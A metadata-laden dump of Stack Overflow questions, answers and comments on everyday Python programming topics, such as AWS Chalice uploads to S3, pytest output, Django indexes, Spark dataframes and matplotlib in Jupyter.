downvote count: 0
has body: I got it running and this works for me as app.py in an AWS Chalice project: from chalice import Chalice, Response import boto3 app = Chalice(app_name='helloworld') BUCKET = 'mybucket' # bucket name s3_client = boto3.client('s3') @app.route('/upload/{file_name}', methods=['PUT'], content_types=['application/octet-stream']) def upload_to_s3(file_name): # get raw body of PUT request body = app.current_request.raw_body # write body to tmp file tmp_file_name = '/tmp/' + file_name with open(tmp_file_name, 'wb') as tmp_file: tmp_file.write(body) # upload tmp file to s3 bucket s3_client.upload_file(tmp_file_name, BUCKET, file_name) return Response(body='upload successful: {}'.format(file_name), status_code=200, headers={'Content-Type': 'text/plain'}) You can test this with curl and its --upload-file directly from the command line with: curl -X PUT https://YOUR_API_URL_HERE/upload/mypic.jpg --upload-file mypic.jpg --header "Content-Type:application/octet-stream" To get this running, you have to manually attach the policy to write to s3 to the role of your lambda function. This role is auto-generated by Chalice. Attach the policy (e.g. AmazonS3FullAccess) manually next to the existing policy in the AWS IAM web interface to the role created by your Chalice project. Things to mention: You cannot write to the working directory /var/task/ of the Lambda functions, but you have some space at /tmp/, see this answer. You have to specify the accepted content-type 'application/octet-stream' for the @app.route (and upload the file accordingly via curl). HTTP PUT puts a file or resource at a specific URI, so to use PUT this file has to be uploaded to the API via HTTP.
has comment: http://stackoverflow.com/comment/81459627
has comment: http://stackoverflow.com/comment/81460106
upvote count: 17
has comment: http://stackoverflow.com/comment/81457760
has comment: http://stackoverflow.com/comment/81457639
has comment: http://stackoverflow.com/comment/81459487
has comment: http://stackoverflow.com/comment/81468363
answers question: http://stackoverflow.com/q/47247957
type: Answer
has comment: http://stackoverflow.com/comment/81468425
has comment: http://stackoverflow.com/comment/81457527
accepted answer of: http://stackoverflow.com/q/47247957
score: 17
has comment: http://stackoverflow.com/comment/81459353

http://stackoverflow.com/comment/81484725
comment on: http://stackoverflow.com/q/47267032
has text: That will create "file" in the current directory where the script is running, so make sure you're looking at the correct file.
type: Comment
type: QuestionComment
score: 6

http://stackoverflow.com/comment/81513642
type: AnswerComment
has text: I tried `makemigrations` and `migrate` but nothing happened(as edited). So what should I do to solve it?
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47281279

http://stackoverflow.com/q/47361823
accepted answer: http://stackoverflow.com/a/63318572
favorite count: 0
type: Question
tagged with: testing
has answer: http://stackoverflow.com/a/63318572
has body: How do I suppress the header (~4 lines) from printing? ============================= test session starts ============================== platform linux -- Python 3.5.3, pytest-3.2.1, py-1.4.34, pluggy-0.4.0 -- /usr/bin/python3 cachedir: .cache rootdir: /sandboxes/beetle, inifile: collecting ... collected 1 item
has title: Supressing the header from printing for pytest
tagged with: python
has answer: http://stackoverflow.com/a/47365993
type: AnsweredQuestion
score: 3
tagged with: printing
answer count: 2
tagged with: pytest
upvote count: 3
downvote count: 0
possible better answer: http://stackoverflow.com/a/47365993

http://stackoverflow.com/a/47348670
answers question: http://stackoverflow.com/q/47348573
has body: It looks like your code can't open image on that path bg = cv2.imread(fname, cv2.IMREAD_GRAYSCALE) / 255 The cv2.imread method returned None. It's better to get the image first image = cv2.imread(fname, cv2.IMREAD_GRAYSCALE) if image is not None: bg = image / 255 Also you can import the os module at the beginning to check that file exists import os # &lt;your code...&gt; if !os.path.isfile(fname): raise Exception("File doesn't exist") image = cv2.imread(fname, cv2.IMREAD_GRAYSCALE) if image is not None: bg = image / 255
accepted answer of: http://stackoverflow.com/q/47348573
score: 0
type: Answer
type: AcceptedAnswer

http://stackoverflow.com/comment/81695634
type: Comment
type: QuestionComment
score: 2
has text: Don't waste your time with regexes: use [urllib.parse](https://docs.python.org/3/library/urllib.parse.html#module-urllib.parse).
comment on: http://stackoverflow.com/q/47371269

http://stackoverflow.com/a/47321882
answers question: http://stackoverflow.com/q/47321531
type: Answer
score: 1
downvote count: 0
upvote count: 1
has body: Try building a dictionary of (pair, dist) key-value tuples. Then find the tuple with the minimum distance value. import operator as op pair_distances = {pair: dist(*pair) for pair in combinations(p, 2)} min(pair_distances.items(), key=op.itemgetter(1)) #(((0, 0), (1, 1)), 1.4142135623730951)

http://stackoverflow.com/q/47245679
score: 0
answer count: 3
possible better answer: http://stackoverflow.com/a/47245744
upvote count: 2
has title: return none, if nothing's between this two list in common
downvote count: 2
has comment: http://stackoverflow.com/comment/81441730
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47245713
tagged with: python-3.x
has body: def common_elements(list1, list2): result = [] seen = set() for element in list1: if element in list2 and element not in seen: result.append(element) seen.add(element) result.sort() return result print (common_elements([3, 12, 9, 15], [2, -9, 8, 8, 5, -13]))
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47245713
has answer: http://stackoverflow.com/a/47245744
tagged with: python
has answer: http://stackoverflow.com/a/47245753

http://stackoverflow.com/comment/81490905
type: AnswerComment
score: 0
has text: I think if you want to import the folders directly form cloud, it is not possible, may be you can first get them and then place them in your foulder?
type: Comment
comment on: http://stackoverflow.com/a/47268982

http://stackoverflow.com/a/47353598
has comment: http://stackoverflow.com/comment/81660346
answers question: http://stackoverflow.com/q/47353363
type: Answer
has body: You can do this simply by using zip function like: def foo(mylist): return zip(*mylist) Now call foo with as much dimension as you have in mylist, and it would do the requisite like: mylist = [[1, 2], [3, 4], [5, 6]] a, b = foo(mylist) # a = (1, 3, 5) # b = (2, 4, 6)
score: 0
upvote count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/81659374

http://stackoverflow.com/comment/81460819
comment on: http://stackoverflow.com/a/47255073
type: Comment
score: 0
type: AnswerComment
has text: @BlakeMcLaughlin Here's a good [starting point](https://stackoverflow.com/questions/23294658/asking-the-user-for-input-until-they-give-a-valid-response)... You should be able to fit that into your program no problems.

http://stackoverflow.com/comment/81477884
comment on: http://stackoverflow.com/a/47260476
type: Comment
type: AnswerComment
score: 0
has text: I added the cust_id as index and it worked like a charm! The retrieval is very quick now. Thank you.

http://stackoverflow.com/q/47328086
has comment: http://stackoverflow.com/comment/81607039
downvote count: 0
has title: Django formset non_form_errors as i have more than 1000 forms in a formset
score: 1
has comment: http://stackoverflow.com/comment/81607695
upvote count: 1
tagged with: django-forms
favorite count: 0
type: Question
type: UnansweredQuestion
tagged with: django
tagged with: python
has body: I have a formset which is a modelformset_factory.And when the formset validates it throws a non_form_error like "Please submit 1000 or fewer forms.".I have more than 2000 forms in the same formset. is it possible to validate the formset ?. And how to overcome the above issue? Please guide, Thanks
has comment: http://stackoverflow.com/comment/81607700
tagged with: formset
answer count: 0

http://stackoverflow.com/a/47369095
answers question: http://stackoverflow.com/q/47369044
has comment: http://stackoverflow.com/comment/81737057
type: Answer
upvote count: 2
has body: string literals are delimited by single quotes in SQL Server by default. Double quotes denote an identifier such as column or object name. So instead of "2017-10-8 00:00:00" use '2017-10-8 00:00:00' and same for "2017-11-7 00:00:00". this will fix the error you are receiving. Invalid column name '2017-10-8 00:00:00' The CONVERT (datetime, startDate, 120) will make your query unsargable by the way. It won't be able to do an index range seek on that column. startDate should use a suitable datatype (date/datetime/datetime2) such that it doesn't need to be converted at run time.
score: 2
downvote count: 0

http://stackoverflow.com/comment/81681781
score: 0
type: Comment
has text: in best way you should not change it, because this is external lib, which should work with Python 2, just use Python 2. Also as I get already link to stackoverflow discussion about changes in urllib between Python's version, there is a suggetion to try... will add code to ansewer.
comment on: http://stackoverflow.com/a/47364406
type: AnswerComment

http://stackoverflow.com/q/47236494
upvote count: 1
tagged with: virtualenv
score: 1
answer count: 1
has comment: http://stackoverflow.com/comment/81423266
tagged with: python
tagged with: sublimetext3
favorite count: 0
has title: Sublime Text 3 Build Python Code with virtualenv
type: Question
has body: I am trying to using sublime text 3 for python development with virtualenv! I‘ve read the answer that i can find on Stackoverflow and baidu(our national search engine ),but i am still very confused. i hope you can help me,tank you very much！ My computer system：ubuntu 17.04 My sublime configuration file: { "folders": [ { "follow_symlinks": true, "path": "." } ], "build_systems": [ { "name":"my_flask_env", "cmd":["python","-u","$file"], "path":"/myproject/venv/bin:$PATH", "file_regex":"^[ ]*File \"(...*?)\", line ([0-9]*)", "env":{ "PYTHONIOENCODING":"utf8", "PYTHONHOME":"", }, "selector": "source.python" } ] } the code of test.py: import sys,os,flask print(sys.executable) #print(inspect.getsoutcefile(flask)) when i run test.py ,the error like this: ImportError: No module named site [Finished in 0.0s with exit code 1] [cmd: ['python', '-u', '/home/bole/myproject/flask_test/test.py']] [dir: /home/bole/myproject/flask_test] [path: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin] So,What should I do now that it will work properly . My English just so so,i hope it's clear.
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/61794391
has comment: http://stackoverflow.com/comment/81424119
downvote count: 0

http://stackoverflow.com/q/47311720
has body: Say I have a string a. a = "12 I have car 8 200 a" I need to sort this string in such a way that the output should be: 8 a car have 12 200 I ie, Sort the string in such a way that all words are in alphabetical order and all integers are in numerical order. Furthermore, if the nth element in the string is an integer it must remain an integer, and if it is a word it must remain a word. This is what I tried: a = "12 I have car 8 200 a" def is_digit(element_): """ Function to check the item is a number. We can make using of default isdigit function but it will not work with negative numbers. :param element_: :return: is_digit_ """ try: int(element_) is_digit_ = True except ValueError: is_digit_ = False return is_digit_ space_separated = a.split() integers = [int(i) for i in space_separated if is_digit(i)] strings = [i for i in space_separated if i.isalpha()] # sort list in place integers.sort() strings.sort(key=str.lower) # This conversion to iter is to make use of next method. int_iter = iter(integers) st_iter = iter(strings) final = [next(int_iter) if is_digit(element) else next(st_iter) if element.isalpha() else element for element in space_separated] print " ".join(map(str, final)) # 8 a car have 12 200 I I am getting the right output. But I am using two separate sorting function for sorting integers and the words(which I think is expensive). Is it possible to do the entire sorting using a single sort function?
type: AnsweredQuestion
tagged with: python-2.7
has answer: http://stackoverflow.com/a/47312274
tagged with: performance
has title: Sort string with integers and words without any change in their positions
upvote count: 9
accepted answer: http://stackoverflow.com/a/50622681
has answer: http://stackoverflow.com/a/50662818
has answer: http://stackoverflow.com/a/50622681
score: 8
has answer: http://stackoverflow.com/a/50641533
type: Question
has answer: http://stackoverflow.com/a/50644067
tagged with: iterator
possible better answer: http://stackoverflow.com/a/50630411
has answer: http://stackoverflow.com/a/50630411
tagged with: python
tagged with: sorting
answer count: 6
downvote count: 1
favorite count: 0

google-cloud-functions
tag name: google-cloud-functions
tags question: http://stackoverflow.com/q/47343260
type: Tag

http://stackoverflow.com/comment/81607521
has text: i have now abandoned this way and using flask_rq2 instead
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47224910
type: AnswerComment

http://stackoverflow.com/a/47382348
has comment: http://stackoverflow.com/comment/81718381
has comment: http://stackoverflow.com/comment/81718638
score: 0
has body: CompOne starts at 0 CompTwo starts at 1 You add 1 to both all the time - until CompOne adresses the last character of the string (which is fine) and CompTwo tries to access the character after the last character of the string -> Indexerror. I am unsure if I grasp correctly what you try to do, what boggles me most: you reinstantiate your sortingList on every while-loop-round to an empty list? on each while loop you put char n and 'n+1' into your array at some indexes your sortingList is sorted twice (sorted(.....)) which creates new list twice which is quite unnessecary - you could simply sort it once and store that in a temp var that you acess. Why do you use .insert with an index here, the list is empty beside the two chars you put into it due to the sortedList=[] couple lines before You need to heed the length of your input array, CompTwo can not exceed that.
accepted answer of: http://stackoverflow.com/q/47382294
type: Answer
answers question: http://stackoverflow.com/q/47382294
type: AcceptedAnswer

http://stackoverflow.com/comment/102653195
has text: using python's `print` appends a newline, doesn't it?
comment on: http://stackoverflow.com/a/47280235
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/q/47230452
upvote count: 2
tagged with: pexpect
has title: Running glob and os on remote machine (pexpect session)
answer count: 0
tagged with: os.path
score: 1
downvote count: 1
favorite count: 0
type: Question
tagged with: linux
type: UnansweredQuestion
tagged with: glob
tagged with: python
has body: I am trying to find a file locally and if i cannot find i want to remote to a machine and check if it is there. Locally i can do using say for example: glob.glob(file_location) In case i cant find it here i will ssh to a machine remote_machine = pexpect.spawn("ssh XX.XX.XX.XX.XX") Now on this machine is there a way(or trick) we can use the same standard library function (os.XX , glob.XXX etc)? remote_machine.glob.glob(file_location) Thanks in advance.

http://stackoverflow.com/q/47319544
tagged with: postgresql
possible better answer: http://stackoverflow.com/a/69610481
accepted answer: http://stackoverflow.com/a/47320245
has title: How to generate indexes for related fields on Django models?
has answer: http://stackoverflow.com/a/69610481
has answer: http://stackoverflow.com/a/47320245
tagged with: django
tagged with: python
score: 4
linked to: http://stackoverflow.com/q/16402225
upvote count: 4
type: AnsweredQuestion
answer count: 2
has comment: http://stackoverflow.com/comment/81623347
has comment: http://stackoverflow.com/comment/81592168
downvote count: 0
favorite count: 0
has body: Say we're building a Django-based site that clones Medium.com's URL structure, where you have users and articles. We'd probably have this model: class Article(models.Model): user = models.ForeignKey(User) slug = models.CharField() We want to be able to build URLs that look like /&lt;username&gt;/&lt;slug&gt;/. Since we're going to have billions of articles and zillions of pageviews, we want to put an index on that model: class Meta: indexes = [ models.Index(fields=['user__username', 'slug']) ] But this causes the makemigrations command to fail with the following error: django.core.exceptions.FieldDoesNotExist: Article has no field named 'user__username'. The app cache isn't ready yet, so if this is an auto-created related field, it won't be available yet. So, plain vanilla models.Index doesn't support relational lookups like a QuerySet does. How would I add an index like this? Let's assume PostgreSQL, if that's helpful.
type: Question

http://stackoverflow.com/comment/81443858
comment on: http://stackoverflow.com/a/47246627
score: 0
has text: no, I just figured to give it to you anyway for your help. Im still looking at why its not popping up though, it seems right though..
type: Comment
type: AnswerComment

http://stackoverflow.com/q/47237388
has comment: http://stackoverflow.com/comment/81431574
has body: I'm trying to implement Tensorflow object detection API sample. I am following sentdex videos for getting started. The sample code runs perfectly, it also shows the images which are used for testing the results, but no boundaries around detected objects are shown. Just the plane image is displayed without any errors. I'm using this code: This Github link. This is my result after running the sample code. another image without any detection. What I'm missing here? The code is included in above link and there is no error logs. Results of box, score, classes, num in that order. [[[ 0.74907303 0.14624023 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0.20880508 1. 1. ] [ 0.74907303 0.14624023 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0.74907303 0.14624023 1. 1. ] [ 0.74907303 0.14624023 1. 1. ] [ 0.74907303 0.14624023 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0.74907303 0.14624023 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0.74907303 0.14624023 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0.74907303 0.14624023 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0.20934391 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0.20880508 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0.74907303 0.14624023 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0.74907303 0.14624023 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0.74907303 0.14624023 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0.74907303 0.14624023 1. 1. ] [ 0.74907303 0.14624023 1. 1. ] [ 0.74907303 0.14624023 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0. 0. 1. 1. ] [ 0.74907303 0.14624023 1. 1. ] [ 0. 0. 1. 1. ] […
tagged with: object-detection
has comment: http://stackoverflow.com/comment/81431399
tagged with: tensorflow
has comment: http://stackoverflow.com/comment/81425104
score: 12
type: Question
has title: Nothing is being detected in Tensorflow Object detection API
has comment: http://stackoverflow.com/comment/81425047
answer count: 5
has comment: http://stackoverflow.com/comment/81431305
has comment: http://stackoverflow.com/comment/81431788
has answer: http://stackoverflow.com/a/47321451
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47282454
has comment: http://stackoverflow.com/comment/81425045
has comment: http://stackoverflow.com/comment/81426201
has comment: http://stackoverflow.com/comment/81431552
tagged with: python
downvote count: 1
has answer: http://stackoverflow.com/a/47240427
favorite count: 0
has comment: http://stackoverflow.com/comment/81424999
has comment: http://stackoverflow.com/comment/81431497
upvote count: 13
has answer: http://stackoverflow.com/a/47242288
linked to: http://stackoverflow.com/q/47238592
has answer: http://stackoverflow.com/a/47401943
has comment: http://stackoverflow.com/comment/81425022

http://stackoverflow.com/comment/81444206
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47246483
score: 0
has text: if the first ones are in the right place, keep them, but don't create and `place` them in the same line. you got some advices here, please try to apply some

http://stackoverflow.com/q/47250754
score: 2
tagged with: numpy
tagged with: python-2.7
has title: Create a matrix using values from a tuple with numpy
tagged with: matrix
answer count: 1
downvote count: 0
favorite count: 0
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47250799
accepted answer: http://stackoverflow.com/a/47250799
tagged with: python
has body: I'm trying to create a matrix with values based on x,y values I have stored in a tuple. I use a loop to iterate over the tuple and perform a simple calculation on the data: import numpy as np # Trying to fit quadratic equation to the measured dots N = 6 num_of_params = 3 # x values x = (1,4,3,5,2,6) # y values y = (3.96, 24.96,14.15,39.8,7.07,59.4) # X is a matrix N * 3 with the x values to the power of {0,1,2} X = np.zeros((N,3)) Y = np.zeros((N,1)) print X,"\n\n",Y for i in range(len(x)): for p in range(num_of_params): X[i][p] = x[i]**(num_of_params - p - 1) Y[i] = y[i] print "\n\n" print X,"\n\n",Y Is this can be achieved in an easier way? I'm looking for some way to init the matrix like X = np.zeros((N,3), read_values_from = x) Is it possible? Is there another simple way? Python 2.7
type: Question
upvote count: 2

http://stackoverflow.com/comment/81632341
type: AnswerComment
has text: Great. I'm glad i could help you.
comment on: http://stackoverflow.com/a/47320720
type: Comment
score: 0

http://stackoverflow.com/q/47351782
has title: Matplotlib and Jupyter Notebooks: new plot outputted per loop iteration
has comment: http://stackoverflow.com/comment/81658148
type: UnansweredQuestion
tagged with: matplotlib
tagged with: python
has comment: http://stackoverflow.com/comment/81655968
has answer: http://stackoverflow.com/a/57840202
score: 0
has body: There are a lot of questions regarding how to use matplotlib, especially for how to either update or output a new chart per loop iteration. In particular this question is in relation to matplotlib and jupyter-notebook For example: Use a loop to plot n charts Python The answer is as follows: import matplotlib.pyplot as plt x=[[1,2,3,4],[1,2,3,4],[1,2,3,4],[1,2,3,4]] y=[[1,2,3,4],[1,2,3,4],[1,2,3,4],[1,2,3,4]] for i in range(len(x)): plt.figure() plt.plot(x[i],y[i]) which appears to work... until we add anything else: for example, add a sleep statement after each plot: import matplotlib.pyplot as plt from time import sleep x=[[1,2,3,4],[1,2,3,4],[1,2,3,4],[1,2,3,4]] y=[[1,2,3,4],[1,2,3,4],[1,2,3,4],[1,2,3,4]] for i in range(len(x)): plt.figure() plt.plot(x[i],y[i]) sleep(2) and suddenly it doesn't work. One can also use any form of print to see the same issue import matplotlib.pyplot as plt from time import sleep x=[[1,2,3,4],[1,2,3,4],[1,2,3,4],[1,2,3,4]] y=[[1,2,3,4],[1,2,3,4],[1,2,3,4],[1,2,3,4]] for i in range(len(x)): plt.figure() plt.plot(x[i],y[i]) print('loop: ', i) So how can I print out a new plot for each loop in a jupyter-notebook?
answer count: 1
type: Question
linked to: http://stackoverflow.com/q/19189488

http://stackoverflow.com/q/47359394
tagged with: algorithm
has comment: http://stackoverflow.com/comment/81674221
linked to: http://stackoverflow.com/q/27893042
has comment: http://stackoverflow.com/comment/124218153
has comment: http://stackoverflow.com/comment/100994124
tagged with: python
has answer: http://stackoverflow.com/a/47361011
tagged with: phonetics
score: 2
upvote count: 2
has title: How to generate homophones on substring level?
downvote count: 0
type: UnansweredQuestion
answer count: 1
has body: I want to generate homophones of words programmatically. Meaning, words that sound similar to the original words. I've come across the Soundex algorithm, but it just replaces some characters with other characters (like t instead of d). Are there any lists or algorithms that are a little bit more sophisticated, providing at least homophone substrings? Important: I want to apply this on words that aren't in dictionaries, meaning that I can't rely on whole, real words. EDIT: The input is a string which is often a proper name and therefore in no standard (homophone) dictionary. An example could be Google or McDonald's (just to name two popular named entities, but many are much more unpopular). The output is then a (random) homophone of this string. Since words often have more than one homophone, a single (random) one is my goal. In the case of Google, a homophone could be gugel, or MacDonald's for McDonald's.
favorite count: 0
type: Question

byte
tags question: http://stackoverflow.com/q/47377115
tag name: byte
tags question: http://stackoverflow.com/q/47322603
tags question: http://stackoverflow.com/q/47256733
type: Tag
tags question: http://stackoverflow.com/q/47289693

http://stackoverflow.com/a/47229168
downvote count: 0
has comment: http://stackoverflow.com/comment/81410587
upvote count: 1
has comment: http://stackoverflow.com/comment/81409296
has comment: http://stackoverflow.com/comment/81433077
type: Answer
has comment: http://stackoverflow.com/comment/81409175
has body: One way to perform the calculation across all of the elements in x is to vectorize the calculation. from scipy import integrate import numpy as np def gauss(x,sig,mu): return( 1/(np.sqrt(2*np.pi*sig**2)) * np.exp(-(x-mu)**2/(2.*sig**2)) ) def PDF_log(x,sig,mu): mu = np.log(mu) x = np.asarray(x) # get nans instead of errors for 1/x a = (1/x)*(1/(sig*np.sqrt(2*np.pi)))*np.exp(-(np.log(x)-mu)**2/(2*sig**2)) a = np.nan_to_num(a) #make sure negative 'x' are returned to 0., as the function only is defined for positive values. return(a) def gauss_conv(t,x,sig,mu,sig0,mu0): a = PDF_log(t,sig,mu) * gauss(x-t,sig0,mu0) return(a) def gauss_log_num(x, sig, mu, sig0, mu0): return ( integrate.quad(gauss_conv, a = -np.inf, b = np.inf, args=(x,sig,mu,sig0,mu0)) ) x = np.array([[ 0.06581838 , 0.11165416 , 0.15748993 , 0.20332571 , 0.24916149, 0.29499726 , 0.34083304, 0.38666882 , 0.43250459 , 0.47834037 , 0.52417615]]) mu = 0.3 sig = 0.12 mu0 = 0. sig0 = 0.05 convolver = lambda t: gauss_log_num(t, sig, mu, sig0, mu0) vfunc = np.vectorize(convolver) ans = vfunc(x) Which returns: print ans (array(2.64327555e-03, 4.42748593e-02, 3.87454290e-01, 1.80492291e+00, 4.57171773e+00, 6.44923191e+00, 5.20617751e+00, 2.47941776e+00, 7.20733704e-01, 1.32773639e-01, 1.61483270e-02), array(8.75523521e-09, 3.90932482e-09, 9.90265796e-09, 6.87900177e-09, 9.93674832e-10, 5.72760020e-08, 3.17433287e-09, 2.29346039e-10, 6.21327924e-09, 5.81321976e-09, 1.33339787e-08)) See the docs
score: 1
answers question: http://stackoverflow.com/q/47228361

http://stackoverflow.com/comment/81414132
type: QuestionComment
comment on: http://stackoverflow.com/q/47231496
has text: I think I got it... `df.set_index(df.date, inplace=True)` + `df = df.resample('D').sum()` That is very convenient
score: 2
type: Comment

http://stackoverflow.com/comment/81449431
comment on: http://stackoverflow.com/q/47241843
has text: @user2357112: it is not a regular language in case `n` is not known in advance. But if `n` is known, one can construct a FSM and thus a regex to process it.
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47446283
answers question: http://stackoverflow.com/q/47322797
has body: use a cron job on an ec2 instance or set up a scheduled event to invoke your aws python lambda function http://docs.aws.amazon.com/lambda/latest/dg/with-scheduled-events.html
upvote count: 1
score: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47322797
downvote count: 0
type: Answer

http://stackoverflow.com/comment/81480932
has text: this is not exactly he want.. it can sort it based on create date.. he want more to do
type: AnswerComment
score: 1
type: Comment
comment on: http://stackoverflow.com/a/47265059

http://stackoverflow.com/q/47343643
favorite count: 0
type: Question
has title: I am using the openpyxl library on python on a windows 10 computer and trying to load_workbook with whitespace
has answer: http://stackoverflow.com/a/47355070
tagged with: windows
tagged with: path
has body: I am using the openpyxl library on python 3.5 on a windows 10 computer and trying to load_workbook() an pathname with white space. I have looked it up online and can't seem to solve this myself. I have included some of my attempts below. I must be missing something completely, because I can't find anyone else asking about this particular issue with openpyxl. Any help would be very much appreciated. My current work around would be to use python to check and possibly rename the file to remove the spaces, but that just seems entirely unnecessary and i might not always have the permissions to do that. import openpyxl from openpyxl import load_workbook import os docName = "space book.xlsx" docNameWithExits = "space^ book.xlsm" fullPathOfDocument = "./" + docName fullPathOfDocumentExtraPar = "'" + "./" + docName + "'" fullOsPath = os.path.join("." , docName) docObject = open(fullPathOfDocument,"rb") try: attempt1 = load_workbook(docName) print("worked") except: print("didnt work") try: attempt2 = load_workbook(fullPathOfDocument) print("worked") except: print("didnt work") try: attempt3 = load_workbook(fullPathOfDocumentExtraPar) print("worked") except: print("didnt work") try: attempt4 = load_workbook(docNameWithExits) print("worked") except: print("didnt work") try: attempt5 = load_workbook(fullOsPathvar) print("worked") except: print("didnt work") try: attempt6 = load_workbook(docObject) print("worked") except: print("The computer has won") Thank you in advance for any help Regards, -Nex
tagged with: python
type: UnansweredQuestion
tagged with: openpyxl
tagged with: whitespace
downvote count: 0
score: 1
upvote count: 1
answer count: 1

http://stackoverflow.com/comment/81412798
score: 0
type: Comment
type: QuestionComment
has text: And what are you trying to predict? "Power"?
comment on: http://stackoverflow.com/q/47230345

http://stackoverflow.com/q/47361665
type: Question
has body: I have a dataframe containing multiple columns. &gt;&gt;&gt; df.take(1) [Row(A=u'{dt:dt=string, content=Prod}', B=u'{dt:dt=string, content=Staging}')] I want to remove both curly braces { and } from values of column 'A' and 'B' of df. I know we can use: df.withColumn('A', regexp_replace('A', '//{', '')) df.withColumn('A', regexp_replace('A', '//}', '')) df.withColumn('B', regexp_replace('B', '//}', '')) How do I replace characters dynamically for all columns of Spark dataframe? (Pandas version is shown below) df = df.replace({'{':'', '}':''}, regex=True)
tagged with: apache-spark-sql
type: UnansweredQuestion
has title: How to replace multiple characters from all columns of a Spark dataframe?
score: 5
upvote count: 5
tagged with: pyspark
tagged with: python
tagged with: replace
has answer: http://stackoverflow.com/a/51363556
answer count: 3
tagged with: apache-spark
downvote count: 0
has answer: http://stackoverflow.com/a/76803147
favorite count: 0
has answer: http://stackoverflow.com/a/47362013

http://stackoverflow.com/comment/88165648
has text: This error indicates that there is something wrong with the file. Although it might also be a bug in Pillow, see here: https://stackoverflow.com/a/20863145/8488985
type: Comment
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/47260626

http://stackoverflow.com/comment/81411242
score: 0
comment on: http://stackoverflow.com/q/47230257
type: QuestionComment
has text: The data points themselves are quarterly sums, so the 1/31/11 number would include data back to 10/31/10
type: Comment

http://stackoverflow.com/comment/81601834
has text: Thanks for the reply Vivek! I still get `IOError: could not read bytes`
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47325566
score: 0

http://stackoverflow.com/comment/81603399
score: 0
has text: Yes, the data looks like a giant blob of HTML.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47326031

http://stackoverflow.com/q/47272923
tagged with: python
accepted answer: http://stackoverflow.com/a/47276759
has body: I need to check on my object lines for the locations on which the products are available, this are my classes: class bsi_production_order(models.Model): _name = 'bsi.production.order' @api.model def create(self, vals): if vals.get('name', 'New') == 'New': if vals.get('production_type') == 'budgeted': vals['name'] = self.env['ir.sequence'].next_by_code('bsi.production.budgeted') or '/' elif vals.get('production_type') == 'nonbudgeted': vals['name'] = self.env['ir.sequence'].next_by_code('bsi.production.non_budgeted') or '/' elif vals.get('production_type') == 'direct': vals['name'] = self.env['ir.sequence'].next_by_code('bsi.production.direct') or '/' return super(bsi_production_order, self).create(vals) name = fields.Char('Reference', required=True, index=True, copy=False, readonly='True', default='New') date = fields.Date(string="Production Date") production_type = fields.Selection([ ('budgeted','Budgeted'), ('nonbudgeted','Non Budgeted'), ('direct','Direct Order'), ], string='Type of Order', index=True, track_visibility='onchange', copy=False, help=" ") notes = fields.Text(string="Notes") order_lines = fields.One2many('bsi.production.order.lines', 'production_order', states={'finished': [('readonly', True)], 'cancel': [('readonly', True)]}, string="Order lines", copy=True) print_orders = fields.One2many('bsi.print.order', 'production_orders', string="Print Orders") On order_lines I should know what product quantity is available by returning the view with all the quants from this product (isbn) This is bsi.production.line object (referred by order_lines One2many field): class bsi_production_order_lines(models.Model): _name = 'bsi.production.order.lines' production_order = fields.Many2one('bsi.production.order', string="Production Orders") isbn = fields.Many2one('product.product', string="ISBN", domain="[('is_isbn', '=', True)]") qty = fields.Float(string="Quantity") product_template = fields.Many2one('product.template', string="Product") consumed_qty = fields.Float…
has answer: http://stackoverflow.com/a/47276759
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81497820
has comment: http://stackoverflow.com/comment/81497260
score: 1
downvote count: 0
answer count: 1
has title: Check product availability on form - return stock.quants - Odoo v8
upvote count: 1
has comment: http://stackoverflow.com/comment/81498607
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81498640
has comment: http://stackoverflow.com/comment/81497041
has comment: http://stackoverflow.com/comment/81498883
tagged with: odoo
tagged with: odoo-8
has comment: http://stackoverflow.com/comment/81497992

